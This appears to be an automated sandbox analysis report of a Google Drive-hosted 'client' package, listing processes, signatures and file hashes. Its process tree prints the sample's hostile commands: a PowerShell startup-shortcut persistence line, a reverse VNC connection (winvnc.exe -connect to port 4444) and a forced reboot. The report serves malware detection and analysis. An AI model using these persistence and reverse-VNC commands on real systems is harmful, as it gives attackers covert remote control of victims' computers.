Analysis

  • max time kernel
    42s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-08-2024 21:20

Errors

Reason
Machine shutdown

General

  • Target

    https://drive.google.com/drive/folders/19VvHwqfWxd-yUl_mPNdh1VRCtJl8IdZm?usp=sharing

Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 40 IoCs
  • Suspicious use of SendNotifyMessage 29 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/19VvHwqfWxd-yUl_mPNdh1VRCtJl8IdZm?usp=sharing
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffaba0546f8,0x7ffaba054708,0x7ffaba054718
      2⤵
        PID:116
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
        2⤵
          PID:3552
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2836 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3352
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2916 /prefetch:8
          2⤵
            PID:4256
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
            2⤵
              PID:4812
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:1
              2⤵
                PID:732
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 /prefetch:8
                2⤵
                  PID:232
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4340
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
                  2⤵
                    PID:1784
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3976 /prefetch:8
                    2⤵
                      PID:4136
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                      2⤵
                        PID:4472
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,6407320627785495314,4748583907428131525,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5736 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1436
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:428
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:5072
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                          1⤵
                            PID:2904
                          • C:\Windows\System32\NOTEPAD.EXE
                            "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\main.bat
                            1⤵
                              PID:4004
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\main.bat" "
                              1⤵
                                PID:3184
                                • C:\Windows\system32\attrib.exe
                                  attrib +R "C:\Users\Admin\Downloads\winvnc.exe"
                                  2⤵
                                  • Views/modifies file attributes
                                  PID:232
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\main.bat';$s.Save()"
                                  2⤵
                                  • Drops startup file
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2312
                                • C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\winvnc.exe
                                  winvnc.exe -run
                                  2⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:916
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 1
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:4144
                                • C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\winvnc.exe
                                  winvnc.exe -connect 192.168.1.36::4444
                                  2⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2900
                                • C:\Windows\system32\shutdown.exe
                                  shutdown /r /f /t 0
                                  2⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1908
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\main.bat';$s.Save()"
                                  2⤵
                                    PID:3956
                                  • C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\winvnc.exe
                                    winvnc.exe -run
                                    2⤵
                                      PID:3576
                                    • C:\Windows\system32\timeout.exe
                                      timeout /t 1
                                      2⤵
                                      • Delays execution with timeout.exe
                                      PID:2516
                                    • C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\winvnc.exe
                                      winvnc.exe -connect 192.168.1.36::4444
                                      2⤵
                                        PID:1924
                                    • C:\Windows\system32\LogonUI.exe
                                      "LogonUI.exe" /flags:0x4 /state0:0xa395b055 /state1:0x41c64e6d
                                      1⤵
                                      • Modifies data under HKEY_USERS
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3028
                                    • C:\Windows\System32\rundll32.exe
                                      C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                      1⤵
                                        PID:2648
                                      • C:\Windows\System32\rundll32.exe
                                        C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                        1⤵
                                          PID:3824

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          ecf7ca53c80b5245e35839009d12f866

                                          SHA1

                                          a7af77cf31d410708ebd35a232a80bddfb0615bb

                                          SHA256

                                          882a513b71b26210ff251769b82b2c5d59a932f96d9ce606ca2fab6530a13687

                                          SHA512

                                          706722bd22ce27d854036b1b16e6a3cdb36284b66edc76238a79c2e11cee7d1307b121c898ad832eb1af73e4f08d991d64dc0bff529896ffb4ebe9b3dc381696

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          4dd2754d1bea40445984d65abee82b21

                                          SHA1

                                          4b6a5658bae9a784a370a115fbb4a12e92bd3390

                                          SHA256

                                          183b8e82a0deaa83d04736553671cedb738adc909f483b3c5f822a0e6be7477d

                                          SHA512

                                          92d44ee372ad33f892b921efa6cabc78e91025e89f05a22830763217826fa98d51d55711f85c8970ac58abf9adc6c85cc40878032cd6d2589ab226cd099f99e1

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                          Filesize

                                          1KB

                                          MD5

                                          24c423334ce463572bf25cbd1932ecc0

                                          SHA1

                                          e1843a37410522c96ed077af19539543cdf35f28

                                          SHA256

                                          eb4cd2645d74e5cf2ed859527d01482f2dfb2a9f372d6979dff9f3eb5f13bb6a

                                          SHA512

                                          6c117f63c4e73266436f333fd8916e05835572150db7008558fdddba14d7e287494c2793cd0e947d387a0b18f68e54947718c21cff56902694468fdc4e591295

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          bc085affa9d73e438942b085bfba2320

                                          SHA1

                                          67d8451fe2fe2e3d33a7e26640f00ba8bd00bff3

                                          SHA256

                                          bf3c32a3faa8e084746bd2833b996baadae5b309d3b7f7ffc290cf0dc6a32636

                                          SHA512

                                          97a50d11142c5f013c007b2d40044ad1f212f79b38ca9f6b795f213f953270cbb4dd87790085bbdc82db702d88e419c13b26ec675e0883c0d14a968986352b1a

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          c57e23f96af13e2c70a4f84571b1ad1b

                                          SHA1

                                          bc358e12ea19c7fd6bac3b5d9095917071f28236

                                          SHA256

                                          54b969d07a4f4201dcac2474462c81509bc987c713d472a5138b023996f16224

                                          SHA512

                                          cbf9eb9441a8bc20a2bb508b7ec7cf7c35559eba072b84ca08818119d94a8aeed799182da6297f4d339bd57aa1ecb72361923f14497d620d6fee204af4fa0e26

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          d30be9a094b7ebe0a619c145bdaebf12

                                          SHA1

                                          cffc89d6004ef7d6fda8f050393051c8103bb7b1

                                          SHA256

                                          062478c72bbb3aaa9cb372624fc15d2cf793aeb271cc9acc2e407a47ce19dfab

                                          SHA512

                                          a8b500265d4366a151490028f762b99b2c8f02c2fe6696c20b45c93f7ea81521a9830e82abf57a5627f666570dc624042e902ee7c6c6e1a5dfe503728f4d9825

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                          Filesize

                                          16B

                                          MD5

                                          6752a1d65b201c13b62ea44016eb221f

                                          SHA1

                                          58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                          SHA256

                                          0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                          SHA512

                                          9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                          Filesize

                                          11KB

                                          MD5

                                          2899deecf473d5767468c772f06124d3

                                          SHA1

                                          91278653bb376bd5c874f622860a96638cd449a0

                                          SHA256

                                          a8a03f6d1231e530f90990df69834599e6c02b0b5d181cbac21ea00a908e1f4a

                                          SHA512

                                          e5e5db81a5f0ff2ed9433a5f08795e139762b17bb7bf012d1f4514d7d01fafe981fcdaebdd25c077c4d1ca9bc70650b0328961d0dbaa0a743c588db2bc41abfa

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                          Filesize

                                          11KB

                                          MD5

                                          5f05cc8b0032c9bfe29d3738aeef9fb9

                                          SHA1

                                          5f99543c862d60de65358bff05421843aef870cd

                                          SHA256

                                          c7c0eca8316398b5bdd72c454fa0ba00b4758044d5cbd58ef08b479480f1e6bd

                                          SHA512

                                          b5b0595e492498e4898e59a0c8e6efdd79f1771afdf3fb0ac8219b71745c9d6fc41841ef798628b321fb6e7fd0d135e1321340b13604548361a2d246036be270

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                          Filesize

                                          11KB

                                          MD5

                                          787a3676ccdbd410f206f03920537f04

                                          SHA1

                                          54bfb96153ad777562984027231fb542c8edfa8a

                                          SHA256

                                          45484f6f568870ac181b9e856b3257483653c7608e816eda4e37adbc4b0eb700

                                          SHA512

                                          335639cc8863c247137f167c9590ce7e25f9642d39c280d8aabf3c9d880314c54a7a528133a71d5350d666920db965a2fed1cf7fdaf8bd180e057734dc45fde7

                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z0v13c24.sw3.ps1

                                          Filesize

                                          60B

                                          MD5

                                          d17fe0a3f47be24a6453e9ef58c94641

                                          SHA1

                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                          SHA256

                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                          SHA512

                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                        • C:\Users\Admin\Downloads\client-20240808T212101Z-001.zip

                                          Filesize

                                          1.0MB

                                          MD5

                                          7ba89f91be74e08e36bac55f975a6252

                                          SHA1

                                          48377b9238777abefdb2049953b35f8dae8581d2

                                          SHA256

                                          ed7524837f4b358c7d86ae2e3a4324c21ad1d7edd56526dea3e40152f12b1c7a

                                          SHA512

                                          e2da895c63e8ea54428549e8494cebc95c33a86426edc4469d3da1d25970c2e78fd8bcb3fa95adfd4949028b9260944e18f78aa474b9f9d5ac244584d9d80c58

                                        • C:\Users\Admin\Downloads\client-20240808T212101Z-001\client\main.bat

                                          Filesize

                                          1KB

                                          MD5

                                          fe3c9e30e135468def72cd9a8feb3787

                                          SHA1

                                          22bd8a632af229dafa2a1aeb4d5f27ab00f3848f

                                          SHA256

                                          3efef532bbb18e40eb6a9df2f9e1b0004bd4e26ede3741d89cfc64ac1c146b02

                                          SHA512

                                          99e337f1a81dbd1b521236f95fde6051bf552bd044e65344e3480dfd6d16faedd0fdafa6d4e1d7fe4458cf10dd984766bf1a44c0b77eebc360507fa6894ff6ab

                                        • memory/2312-188-0x000002287F960000-0x000002287F982000-memory.dmp

                                          Filesize

                                          136KB